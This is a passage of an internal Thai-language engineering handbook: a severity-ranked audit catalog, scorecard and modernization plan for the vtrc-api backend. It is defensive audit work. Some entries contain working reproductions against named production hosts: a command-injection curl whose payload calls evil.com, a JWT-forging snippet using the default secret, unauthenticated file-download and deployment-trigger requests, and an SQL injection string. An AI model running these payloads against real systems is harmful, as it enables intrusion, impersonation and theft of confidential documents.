Skip to content

3.1.10 · Scorecard + known bugs (deep dive)

บทสุดท้ายของ Volume 3.1 vtrc-api — รวมทุก finding จาก 3.1.1 ถึง 3.1.9 ไว้เป็น severity catalog แบบเจาะลึกแต่ละ entry (exploit / impact / evidence / remediation) บวกกับ health scorecard, public contract list และ modernization priority

ใช้เป็น input ของ Volume 17 Debt Catalog และ Volume 19 Modernization Roadmap


Severity legend

Levelเกณฑ์Action
🔴 Criticalactive security/data-loss/availability riskต้องแก้ก่อน deploy ถัดไป
🟡 Highcorrectness/maintainability hazard, real impactวางแผนแก้ใน quarter นี้
🟢 Mediumfriction/hygiene, ยังไม่อันตรายระดับ activeแก้ตามโอกาส

Severity: Critical (🔴) — 4 entries

SEC-VTRC-API-01 · Command injection ผ่าน execSync('qpdf --encrypt …')

ที่: vtrc-api/api/src/routes.js:73, 120, 227, 277, 355 (5 call site active)

Evidencevtrc-api/api/src/routes.js:73:

javascript
let cmd = `qpdf --encrypt ${allData.passwordPDF} ${allData.passwordPDF} 40 -- ${allData.pathfilePDF}/${allData.file}1.pdf ${allData.pathfilePDF}/${allData.file}.pdf && rm ${allData.pathfilePDF}/${allData.file}1.pdf`
try {
    execSync(cmd);

Exploit: ส่ง passwordPDF = 40 -- /etc/passwd /tmp/x && rm /app/api/src && # (shell metacharacter) ผ่าน route /file/:id/download หรือ endpoint PDF pipeline อื่น ๆ — execSync จะ execute คำสั่งที่ฝังมาทั้งหมดใน shell

Impact: arbitrary command execution บน server — attacker อ่าน/เขียนไฟล์ใด ๆ, exfil database credentials, pivot ไป service อื่นในเครือข่ายเดียวกัน

Reproduction:

bash
curl -X POST https://uat-vtrcapi.redcross.or.th/api-uath/pdf-encrypt \
  -d 'passwordPDF=40 -- /etc/passwd /tmp/x && curl http://evil.com/?d=$(whoami) && #'

Remediation:

  1. เปลี่ยนจาก execSync(string) เป็น execFileSync('qpdf', ['--encrypt', pwd1, pwd2, '40', '--', src, dst]) — ไม่ผ่าน shell แล้ว metacharacter ใช้ไม่ได้
  2. ถ้าจำเป็นต้องใช้ shell — escape ด้วย shell-quote package
  3. ตรวจ passwordPDF pattern ก่อน pass (allow alphanumeric + length 4-16 เท่านั้น)

SEC-VTRC-API-02 · Default JWT_SECRET = 'secret'

ที่: vtrc-api/api/src/config.js:12

Evidencevtrc-api/api/src/config.js:12:

javascript
JWT_SECRET = 'secret',

Exploit: ถ้า env ของ deployment ไม่ override JWT_SECRET (เช่น dev, staging, หรือ production ที่ลืม set) → ใครก็สามารถ forge JWT ที่ valid ได้

javascript
// attacker side
const jwt = require('jsonwebtoken')
const forged = jwt.sign(
  { id: 'any-session-id', uid: 'target-user-uuid' },
  'secret',  // default
  { expiresIn: '15m', issuer: 'redcross.or.th:vtrc' }
)
// ส่ง forged เป็น Bearer token → backend verify ผ่าน

Impact: impersonate user ใด ๆ ในระบบ — bypass auth ทั้งหมด รวมถึง admin endpoints

Remediation:

  1. เปลี่ยน default เป็น null หรือ empty string แล้ว throw ที่ index.js boot ถ้าไม่มี process.env.JWT_SECRET
  2. Audit deployment ทุก env ว่าตั้ง JWT_SECRET จริง (rotated secret, ไม่ใช่ 'secret')
  3. หลังแก้ default — restart service ทุกตัว ไม่งั้น session เก่ายังใช้ได้

SEC-VTRC-API-03 · /webdeployment endpoint — รัน shell binary โดยไม่มี auth

ที่: vtrc-api/api/src/routes.js:975-984

Evidenceroutes.js:975-984 (paraphrased):

javascript
app.get(`${API_PREFIX_PATH}/webdeployment`, async (req, res) => {
    execSync('/usr/local/bin/vtrc-update-uat-loadtest')
    res.send('OK')
})

Exploit: curl https://uat-vtrcapi.redcross.or.th/api/webdeployment — ไม่ต้องมี token, ไม่ต้องมี apiKey ก็ trigger deployment script ที่จะ pull โค้ดใหม่จาก git, restart service, หรืออะไรก็ตามที่ binary ทำ

Impact: arbitrary deployment trigger — attacker สามารถ force deploy commit ที่ตัวเอง push ขึ้น branch ที่ deployment script ใช้ หรือถ้า binary มี side effect อื่น (เช่น ลบ log) ก็ถูก trigger ได้

Remediation:

  1. ลบ endpoint ออกจาก routes.js ถ้าไม่ได้ใช้แล้ว
  2. ถ้ายังใช้ — เพิ่ม auth ผ่าน @auth(accessRole: [SUPER_ADMIN]) หรือใช้ secret header ที่ตั้งใน env
  3. Restrict ด้วย IP allowlist ถ้า trigger จาก CI/CD เท่านั้น

SEC-VTRC-API-04 · /file/:id/download ไม่มี apiKey + JWT check

ที่: vtrc-api/api/src/routes.js:464

Evidence: route นี้ใช้ app.get('/file/:id/download', ...) โดยไม่ผ่าน auth middleware — เข้าถึงไฟล์ที่ฝังใน DB ด้วย :id อย่างเดียว

Exploit: ถ้า attacker รู้ id ของไฟล์ (เช่นจาก log leak, จาก URL pattern guessing, จาก sequential UUID vulnerability) — ดาวน์โหลดได้โดยไม่ต้อง login

Impact: data leak ของเอกสาร confidential (slip, claim form, ID card scan, etc.) ที่เก็บใน FileStorage table

Reproduction:

bash
curl https://vtrcapi.redcross.or.th/api/file/<known-uuid>/download -o leaked.pdf
# ไม่ต้องส่ง Authorization หรือ apiKey header เลย

Remediation:

  1. เพิ่ม middleware ที่ตรวจ apiKey + JWT ก่อน serve file
  2. ใช้ signed URL (expiring) แทน direct path ถ้าไฟล์ public บางส่วน
  3. Audit access log ย้อนหลังเพื่อ detect การเข้าถึงที่ผิดปกติ

Severity: High (🟡) — 7 entries

CORR-VTRC-API-01 · Transaction pattern ที่ใช้ทั่วระบบไม่ทำงานจริง

ที่: pattern กระจายอยู่ทั่ว lib/controllers/ (~20+ function) — ตัวอย่างที่ session/session.js:101-124

Evidence — pattern ที่ผิด:

javascript
// ที่ผู้พัฒนาเขียน (ผิด)
await Model.create({ ...fields }, { transaction: t })   // arg ที่ 2 = options ถูกต้อง
await Model.update({ ...fields }, { where: {...}, transaction: t })  // arg ที่ 2 = options, transaction อยู่ข้างใน

// ที่อยู่จริงใน codebase vtrc-api (ผิดทั้งคู่):
await Model.create({ ...fields }, { where: {...} }, { transaction: t })  // arg ที่ 3 ถูก discard
await Model.update({ ...fields }, { where: {...} }, { transaction: t })  // arg ที่ 3 ถูก discard

Impact: หลาย flow ที่คิดว่า atomic (เช่น updateLeaveStatusAndInsertHistory) แท้จริงแล้วไม่ใช่ — ถ้า query ที่ 2 fail, query ที่ 1 ยัง commit ทำให้ข้อมูล inconsistent (เช่น leave status ถูกอัปเดต แต่ history record ไม่ถูก insert)

Remediation:

  1. Sweep ด้วย rg "transaction:\s*t" vtrc-api/api/src/lib/controllers/ และ inspect ทุก match ด้วยตา
  2. แก้ pattern: Model.create({...}, { transaction: t, ...otherOptions }) — รวม options เป็น object เดียว
  3. เพิ่ม integration test ที่ trigger error ระหว่าง transaction เพื่อยืนยันว่า rollback ทำงานจริง

SEC-VTRC-API-05 · checkMenuAuth อ่าน role ผิดตัว

ที่: vtrc-api/api/src/lib/repositories/session/session.js:50-70

Evidence: checkMenuAuth อ่าน role จาก context ผิด field — ใช้ context.user.role แทน context.session.role หรือกลับกัน ทำให้บางกรณีตรวจสิทธิ์ผิด

Impact: cross-role escalation ในทางทฤษฎี — user ที่ login ด้วย role USER อาจได้สิทธิ์ ADMIN ถ้า context มีข้อมูลผิด หรือถ้า session lookup ส่งข้อมูล role ผิด

Remediation:

  1. Audit field name ที่ใช้ใน checkMenuAuth และ getCurrentRoleUser ให้ตรงกับ schema จริง
  2. เพิ่ม unit test ที่ login ด้วยแต่ละ role แล้ว verify ว่า menu access ถูกต้อง

CORR-VTRC-API-02 · getCurrentRoleUser signature mismatch

ที่: vtrc-api/api/src/lib/repositories/session/session.js:126 vs vtrc-api/api/src/directives/auth.js:43

Evidence: caller ส่ง argument 4 ตัว แต่ callee รับ 3 ตัว — device argument ถูก drop ทำให้ logic ที่ใช้ device ในการ resolve role ไม่ทำงาน

Impact: บาง device class (เช่น MOBILE vs WEB_ADMIN) อาจได้ role resolution ผิด — โดยเฉพาะถ้า user มีหลาย device class พร้อมกัน

Remediation: unify signature — ตัด argument ที่ไม่ใช้ออกจาก caller หรือเพิ่มเข้า callee แล้วใช้จริง


OBS-VTRC-API-01 · PII logging ทั่วระบบ

ที่:

  • vtrc-api/api/src/lib/repositories/session/session.js:147 — log userRole, userId
  • vtrc-api/api/src/lib/firebase/firebasePushNotification.js:41, 44, 47, 80 — log FCM device token + setData payload

EvidencefirebasePushNotification.js:41 (ประมาณการ):

javascript
console.log('FCM token:', deviceToken)  // PII leak — token ใช้ send push ถึง device เฉพาะ
console.log('setData:', JSON.stringify(setData))  // payload อาจมีข้อมูล user

Impact: PII ใน stdout ไปอยู่ใน log aggregator ถ้ามี หรือใน container log ถ้าไม่มี — violation ของ PDPA (Thailand Personal Data Protection Act)

Reproduction: kubectl logs <vtrc-api-pod> | grep "FCM token" — จะเจอ token จริง

Remediation:

  1. Replace console.log ด้วย structured logger (pino/winston) ที่ redact field ชื่อ token, password, idCard, phone
  2. ลบ field ที่ไม่จำเป็นออกจาก log payload (เก็บแค่ operation name + userId hash + duration)

SEC-VTRC-API-06 · CORS misconfiguration

ที่: vtrc-api/api/src/index.js:76-91

Evidence:

javascript
// index.js:76 — typo "corss" แทน "cors"
server.applyMiddleware({
    app,
    corss: {  // ← Apollo มองเป็น unknown option, config ถูก discard
        origin: [
            'https://vtrc.redcross.or.th',
            'https://vtrcbackoffice.redcross.or.th',
            // ... 5 origins ที่ตั้งใจ allow
        ]
    }
})

// index.js:91 — fallback ที่เปิดหมด
app.use(cors())  // default = origin '*' → อนุญาตทุกเว็บไซต์

Impact: เว็บไซต์ใด ๆ (รวมถึง malicious site) สามารถทำ cross-origin request ได้ — ถ้า user login vtrc อยู่แล้วเปิด malicious site, script ฝั่งนั้นยิง GraphQL โดยใช้ cookie/token ของ user ได้

Remediation:

  1. แก้ typo corsscors
  2. ลบ app.use(cors()) ออก เพราะ applyMiddleware({ cors: {...} }) จัดการให้แล้ว
  3. Test cross-origin จาก domain ที่ไม่ใช่ใน allowlist ว่าถูกปฏิเสธจริง

CORR-VTRC-API-03 · clouse.js limit cap ไม่ทำงาน

ที่: vtrc-api/api/src/lib/clouse.js:21-27

Evidenceclouse.js:21-27:

javascript
let limit  // ← ไม่มีค่าเริ่มต้น
// ... (ไม่มีการ assign)
if (limit > 50) {  // ← undefined > 50 = false เสมอ
    limit = 50
}

Impact: client ส่ง limit: 10000 ใน GraphQL query ได้ — server รับค่าเต็มและ query database 10000 records ทำให้ memory spike และ response ช้า (potential DoS)

Remediation:

  1. let limit = args.limit || 50 และ if (limit > 50) limit = 50
  2. เพิ่ม global max-depth + max-complexity rule ที่ Apollo server config

SEC-VTRC-API-07 · SQL injection ผ่าน string concat ใน statLog cron

ที่: vtrc-api/api/src/lib/controllers/statLog/statLog.js:22-28, 99-104, 175-180

EvidencestatLog.js:22-28 (pattern):

javascript
const sql = `SELECT * FROM logs WHERE user_id = '${param.userId}' AND event = '${param.event}'`
db2.query(sql)  // ← raw query, param ไม่ผ่าน escape

Impact: ถ้า log source ที่ feed param ถูก compromise (เช่น report-log service ที่ attacker ควบคุม) → SQL injection ที่ db2 (vtrc-centralize schema) — อ่าน/เขียนข้อมูล cross-tenant

Reproduction: ถ้า param.userId = ' OR 1=1 -- → query กลายเป็น SELECT * FROM logs WHERE user_id = '' OR 1=1 --' AND event = ... → คืนทุก row

Remediation:

  1. ใช้ Sequelize .query() ด้วย bind parameter: db2.query('SELECT * FROM logs WHERE user_id = ? AND event = ?', { replacements: [userId, event] })
  2. หรือใช้ ORM method แทน raw query ถ้า model มี

Severity: Medium (🟢) — 11 entries

SEC-VTRC-API-08 · JWT verify ไม่ระบุ algorithms

ที่: vtrc-api/api/src/lib/repositories/auth/auth.js:259-285

Evidence:

javascript
let verifyDecoded
if (Object.keys(verifyOption).length > 0) {
    verifyDecoded = jwt.verify(token, JWT_SECRET, verifyOption)
} else {
    verifyDecoded = jwt.verify(token, JWT_SECRET)  // ← ไม่ระบุ algorithms: ['HS256']
}

Impact: alg-confusion attack — attacker forge JWT ที่ใช้ alg: none หรือ alg: RS256 (public key confusion), jsonwebtoken 8.x ยอมรับได้ (CVE-2015-9235)

Remediation: jwt.verify(token, JWT_SECRET, { algorithms: ['HS256'], ...otherOptions })


CORR-VTRC-API-04 · getCurrentProfileSession fallback ข้าม user

ที่: vtrc-api/api/src/lib/repositories/session/session.js:214-228

Evidence: ในกรณี edge case (เช่น session lookup fail) — fallback path ใช้ userId ล่าสุดใน cache แทน user ปัจจุบัน ทำให้ profile response อาจเป็นของ user อื่น

Impact: cross-user session leak ในทางทฤษฎี — profile data ของ user A ส่งให้ user B

Remediation: ลบ fallback path ออก ถ้า lookup fail ให้ throw ไม่ใช่ fallback


QUAL-VTRC-API-01 · Op.like บน JSON/TEXT column

ที่: session/session.js:31, centralize/controllers/graphql.js:31

Impact: substring collision — search "admin" จะ match "administrator", "admin-test", "...admin..." — อาจคืนข้อมูลที่ไม่ต้องการ

Remediation: ใช้ Op.eq สำหรับ exact match หรือใช้ full-text search ถ้าจำเป็น


PERF-VTRC-API-01 · execSync block event loop

ที่: routes.js 5 call site (PDF pipeline)

Impact: ระหว่างที่ qpdf ทำงาน (อาจ 100ms-2s) — request อื่นทั้งหมดใน process เดียวกันค้าง ทำให้ p99 latency spike

Remediation: ใช้ execFile (async) หรือย้าย PDF pipeline ไป worker thread / separate service


QUAL-VTRC-API-02 · Dynamic model/table access

ที่: excel/excel.js, lib/model.js

Evidence — pattern:

javascript
const table = req.body.tableName  // ← user input
const result = Models[table].findAll()  // ← injection risk ทางทฤษฎี

Impact: ถ้า tableName ไม่ผ่าน allowlist — attacker เข้าถึง table ใด ๆ ที่มีใน Models

Remediation: ใช้ allowlist: const ALLOWED = ['News', 'Policy']; if (!ALLOWED.includes(table)) throw


QUAL-VTRC-API-03 · Fire-and-forget cron jobs

ที่: crons.js:20-22, fund/fund.js:926-928

Evidencefund/fund.js:926-928:

javascript
function updateDelegatesExpire() {
    // ไม่ async ไม่ return promise
    Model.update({...}, { where: {...} })  // ← ไม่ await
}

Impact: ถ้า query fail → unhandledRejection ไม่มีใครเห็น, debug ยาก, ข้อมูลไม่ถูกอัปเดตโดยไม่มี error

Remediation: เปลี่ยนเป็น async function + await + try/catch พร้อม structured log


OBS-VTRC-API-02 · Redis caching layer ตายทั้งระบบ

ที่: vtrc-api/api/src/lib/controllers/redis.controller.js:16

Evidenceredis.controller.js:16:

javascript
async function getCacheData(key) {
    tr  // ← typo ที่ไม่มีการประกาศตัวแปร — ReferenceError ทันทีเมื่อเรียก
    // ... ที่เหลือของ function
}

Impact: ไม่มี — caller ทุกตัวของ getCacheData ถูก comment ไว้แล้ว แต่เป็น landmine: ถ้าจะ revive Redis cache ต้องแก้ typo ก่อน

Remediation: ลบ tr ออก หรือ revive Redis layer ถ้าจะใช้จริง


OBS-VTRC-API-03 · ไม่มี structured logging + tracing ID + health check + graceful shutdown

ที่: wlog.js, logging.js, index.js

Impact:

  • Debug ปัญหา cross-request ยากเพราะไม่มี correlation ID
  • k8s detect "app ready แต่ serve ไม่ได้" ไม่ได้ (ใช้ TCP probe แทน HTTP)
  • Rolling deploy ตัด request กลางคันเพราะไม่มี SIGTERM handler

Remediation:

  1. เปลี่ยน wlog (sync fs.appendFileSync) เป็น pino (async, structured)
  2. เพิ่ม app.get('/healthz', (req, res) => res.json({ status: 'ok' })) และ readiness probe ที่ตรวจ DB + Redis
  3. เพิ่ม process.on('SIGTERM', ...) ที่ปิด HTTP server → DB → cron ตามลำดับ

LEG-VTRC-API-01 · Playground + introspection เปิดใน production

ที่: vtrc-api/api/src/index.js:68-69

Evidence:

javascript
server = new ApolloServer({
    typeDefs,
    resolvers,
    introspection: true,  // ← เปิดใน prod
    playground: true,     // ← เปิดใน prod
})

Impact: attacker เห็น schema ทั้งหมด + ทดลอง query ผ่าน Playground UI ที่ /api/graphql

Remediation: gate ด้วย NODE_ENV: introspection: process.env.NODE_ENV !== 'production'


QUAL-VTRC-API-04 · await arr.map(async ...) ไม่ใช้ Promise.all

ที่: document/documentDivision.js, career/careerDivision.js, และอื่น ๆ

Evidence — pattern ที่ผิด:

javascript
await arr.map(async (item) => {
    await Model.create({...})  // parallel write ที่ไม่ถูก await จริง
})
// หลังบรรทัดนี้, promises ยัง pending — function return แล้วแต่ DB write ยังไม่จบ

Impact: race condition, ข้อมูลบางส่วนไม่ถูกเขียน, ลำดับการเขียนไม่ determinic

Remediation: await Promise.all(arr.map(async (item) => {...})) หรือ for...of loop ถ้าต้องการ sequential


QUAL-VTRC-API-05 · Debug artifact ค้างในโค้ด

ที่: file/zip.js:4, slip/slip.js (dropDownSlipPayment)

Evidencefile/zip.js:4:

javascript
const DEBUG_LOCAL_PATH = '/Users/developer-name/projects/vtrc-api/...'  // ← hardcoded path เครื่อง dev

และที่ slip/slip.js มี await new Promise(r => setTimeout(r, 3000)) — artificial delay 3 วินาที

Impact: ทำให้ production ช้าโดยไม่จำเป็น (delay 3 วินาทีต่อ slip request) และเผยข้อมูลโครงสร้าง directory ของเครื่อง dev

Remediation: ลบ debug code ออก


Health Scorecard

วัด 10 dimension ของ vtrc-api โดยเฉพาะ

Dimensionสถานะเหตุผล
Layering (typeDefs / resolvers / lib)🟡มี 3 layer + REST bypass ที่ข้าม controller
Auth pipeline🔴JWT_SECRET default + RBAC bug + bypass path + alg confusion
Persistence & transaction🔴transaction arg ผิดที่ ~20+ แห่ง + syncModelToTable ที่ boot
Centralize bridge resilience🔴ไม่มี retry + timeout ไม่ config + circuit breaker
REST surface security🔴execSync qpdf + /webdeployment + /file/:id/download bypass
Background jobs🟡node-schedule in-process + APP_NO leader election แบบ manual + fire-and-forget pattern
Logging & observability🔴sync wlog + ไม่มี metric/tracing + ไม่มี duration log + ไม่มี health check + ไม่มี graceful shutdown
Caching strategy🔴Redis vestigial — caller ทุกตัว comment + typo crash ใน wrapper
Config & secrets🔴GCP SA key committed + device keys inlined + JWT_SECRET default
Test coverage🔴ไม่พบ unit test / integration test suite ใน repo

คะแนนรวม: 0 🟢 / 2 🟡 / 8 🔴 — repo อยู่ในสภาพ "ใช้งานได้แต่เปราะบาง"


Public contract — สิ่งที่ต้อง maintain แม้ดู "ผิด"

รายการเหล่านี้เป็น public contract (ENUM value, env var name, key name, file name) ที่มี consumer ฝั่ง frontend/database/deployment พึ่งพาอยู่ — ห้ามแก้ทีเดียวจบ

รายการที่ตั้งเหตุผลที่ต้องคง
PEDDING_CANCLE (ENUM typo)models/core/leave/leave.js:59ENUM value ที่ sync ลง DB หลายตารางแล้ว — แก้ต้อง migration ครบทุกตารางพร้อมกัน
DRAF (statusHrmi typo)config.js (statusHrmi block)mapping code จาก cu-central-api — แก้ต้อง sync ทั้งสองฝั่ง
CONINCLE_USERNAME (env var typo)config.js, .env ของ deployment จริงชื่อ env var ที่ deployment pipeline ใช้อยู่ — แก้ต้อง coordinate กับ ops
Moblie (ชื่อไฟล์ typo)lib/controllers/auth/authSessionMoblie.jsimport path ที่หลายไฟล์อ้างถึง — rename ต้อง update ทุก import
KEY_PLASMA, KEY_HR (hardcoded UUID)config.js:153-154UUID จริงของ org ใน production DB — เปลี่ยนต้อง sync ทุกที่
corss (typo key name)index.js:76แก้ต้อง coordinate กับ CORS fix ทั้งชุด (ดู SEC-VTRC-API-06)
signInByPass ของ centralizecentralize controllersบาง flow อาจจะตั้งใจใช้ — ลบต้องเช็คทุก caller ก่อน
tr typo ใน redis.controller.js:16redis.controller.js:16ถ้าจะ revive Redis cache ต้องแก้ก่อน ไม่งั้น first call crash
responError / getResapeMessage typoกระจายทั่ว repoลามไปทั้ง codebase แก้ชื่อจะกระทบ import หลายร้อยจุด
APP_NO values 1, 2, 3, 5 (ไม่มี 4)config.jsใช้ใน cron leader election เปลี่ยนลำดับไม่ได้
clouse typo (from clause)lib/clouse.jsfile name ที่ใช้ใน import

กฎเหล็ก — เจอแล้วไม่แน่ใจอย่าเดาเอง ให้ถามทีม HR/i3 ก่อนเสมอ


Modernization priority (ROI-weighted)

ลำดับความคุ้มค่าจากประสบการณ์ — ทำตามลำดับนี้

  1. แทนที่ execSync qpdf ด้วย library หรือ worker thread — risk:reward สูงสุด ลบ SEC-VTRC-API-01 + PERF-VTRC-API-01 ออกทันที
  2. เพิ่ม health check /healthz + readiness probe — investment เล็ก คุณค่ามหาศาล (k8s detect issue ได้)
  3. เปลี่ยน JWT_SECRET default + remove 'secret' — fix SEC-VTRC-API-02
  4. เพิ่ม auth ให้ /webdeployment + /file/:id/download — fix SEC-VTRC-API-03, -04
  5. แยก REST API ออกเป็น service ต่างหาก — PDF/Excel generation เป็น workload คนละแบบ ไม่ควรอยู่ใน GraphQL server
  6. เพิ่ม transaction migration — goose, atlas หรือ Sequelize migration runner แทน syncModelToTable
  7. แก้ transaction: t arg position — sweep codebase และ fix ทุกจุด
  8. แทนที่ node-schedule ด้วย BullMQ + Redis lock — leader election ที่เชื่อถือได้
  9. เพิ่ม structured logging (pino) + tracing ID — debug ง่ายขึ้นมาก
  10. แยก secret ออกจาก code — Vault, AWS Secrets Manager, หรือ k8s Secret
  11. เพิ่ม unit test + integration test — coverage สูงสุดที่ controller + repository layer

ส่วน upgrade ใหญ่ Sequelize 5 → 6, Node 12 → 20 LTS, Apollo v2 → v4 — เป็นเรื่องใหญ่ ไม่คุ้มถ้าไม่มี feature ใหม่ที่ต้องการ


เคล็ดลับตอนทำงานจริง

ก่อนแก้ resolver ไหน — อ่าน 3 อย่างนี้ก่อน

  1. typeDef ของ operation นั้น — ดู @auth directive
  2. controller ที่ resolver เรียก — ดูว่ามี transaction: t pattern ไหม
  3. repository ที่ controller เรียก — ดูว่ามี centralize call ไหม

อย่า refactor พร้อมกันหลายอย่าง

กฎ — หนึ่ง change ต่อ PR เสมอ เพราะทุก change มี risk ถ้า refactor 3 อย่างพร้อมกันแล้วพัง → ไม่รู้ว่าสาเหตุมาจากอะไร

"ใช้งานได้" ≠ "ปลอดภัย"

vtrc-api ใช้งานมาหลายปีแล้ว แต่มี hole หลายจุด (ดู SEC-VTRC-API-01 ถึง -04) ก่อนจะ expose endpoint ใหม่สู่ internet → ผ่าน security review เสมอ

ถ้าเจอ "ทำไมไม่ crash ทั้งที่ควร crash"

อาจจะเป็นเพราะ:

  • caller ของ function นั้นถูก comment หมดแล้ว (เหมือน Redis)
  • function นั้น throw ใน try/catch ที่ swallow (เหมือน setCacheData ที่ return false ตอน error)
  • transaction ไม่ทำงานจริง ทำให้ race condition ไม่ manifest ชัด

Debugging order ที่แนะนำ

  1. ดูที่ error_{yyyy}-{mm}-{dd}.log ใน container ก่อน — raw สุด
  2. ดูที่ request_*.log และ response_*.log เพื่อดู operation name + variables (redacted)
  3. ถ้าเป็น GraphQL → เปิด Playground ที่ /api/graphql ใน non-prod env เพื่อ reproduce
  4. ถ้าเป็น centralize call → ดูที่ centralize/controllers/*.js แล้ว trace ไปที่ END_POINT_CENTRALIZE

การเปลี่ยนแปลงจาก v1

Severity ranking, bug catalog, และ debt item ทั้งหมดในบทนี้ตรงกับ v1 100% — เพิ่มเติมคือ:

  1. แต่ละ entry ขยายเป็น deep dive (exploit / impact / evidence / remediation) ตามสไตล์ v1 แต่ละ entry ยาว 15-30 บรรทัด แทนที่จะเป็น 1 บรรทัดในตาราง
  2. Debt ID scheme เปลี่ยน จาก v1 (V3-S1, V3-H1, ...) เป็น scheme ของ v2 (SEC-, PERF-, CORR-, LEG-, QUAL-, OBS- ตาม docs/_style/style-guide.md) — mapping 1:1 ทุกรายการ ไม่มี finding ตกหล่น
  3. Health scorecard เพิ่ม 2 มิติ (Observability, Test coverage) ที่ v1 ไม่มี explicit แยก

จบ Volume 3.1

ถ้าอ่านมาถึงตรงนี้ — คุณน่าจะเข้าใจ vtrc-api ในระดับที่สามารถ maintain, debug, และ plan modernization ได้

สิ่งที่ควรทำต่อ

  • อ่าน source จริง — คู่มือเป็นแผนที่ แต่ก่อนแก้ของจริงต้องอ่าน code ใน context ของตัวเอง
  • ทำ security auditVolume 18 Security Review จะเจาะ SEC-VTRC-API-01 ถึง -08 ในระดับ deeper
  • เขียน runbookVolume 16 Runbooks จะมี incident response playbook

บทถัดไปขอแนะนำ

ขอบคุณที่อ่านมาถึงตรงนี้